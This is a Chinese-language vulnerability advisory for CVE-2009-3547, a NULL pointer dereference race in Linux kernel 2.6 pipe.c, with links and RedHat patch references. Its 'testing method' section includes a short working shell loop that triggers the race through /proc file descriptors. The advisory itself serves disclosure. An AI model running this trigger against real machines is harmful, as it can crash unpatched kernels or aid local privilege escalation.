Linux Kernel pipe.c空指针引用漏洞


发布日期:2009-11-03
更新日期:2009-11-04

受影响系统:
Linux kernel 2.6.x
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 36901
CVE ID: CVE-2009-3547

Linux Kernel是开放源码操作系统Linux所使用的内核。

Linux Kernel的pipe.c文件中的pipe_read_open()、pipe_write_open()和pipe_rdwr_open()函数存在空指针引用漏洞。在没有保持互斥锁的时候,其他进程可能在没有更新管道的读写计数器之前便释放i_pipe指针,这可能导致本地拒绝服务或权限提升。

<*来源:Earl Chew
 
  链接:https://bugzilla.redhat.com/show_bug.cgi?format=multiple&id=530490
        http://lkml.org/lkml/2009/10/14/184
        http://secunia.com/advisories/37233/
        https://www.redhat.com/support/errata/RHSA-2009-1550.html
        https://www.redhat.com/support/errata/RHSA-2009-1548.html
        https://www.redhat.com/support/errata/RHSA-2009-1541.html
        https://www.redhat.com/support/errata/RHSA-2009-1540.html
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

while : ; do
   { echo y ; sleep 1 ; } | { while read ; do echo z$REPLY; done ; } &
   PID=$!
   OUT=$(ps -efl | grep 'sleep 1' | grep -v grep |
        { read PID REST ; echo $PID; } )
   OUT="${OUT%% *}"
   DELAY=$((RANDOM * 1000 / 32768))
   usleep $((DELAY * 1000 + RANDOM % 1000 ))
   echo n > /proc/$OUT/fd/1                 # Trigger defect
done

建议:
--------------------------------------------------------------------------------
厂商补丁:

RedHat
------
RedHat已经为此发布了一个安全公告(RHSA-2009:1540-01)以及相应补丁:
RHSA-2009:1540-01:Important: kernel-rt security, bug fix, and enhancement update
链接:https://www.redhat.com/support/errata/RHSA-2009-1540.html

相关内容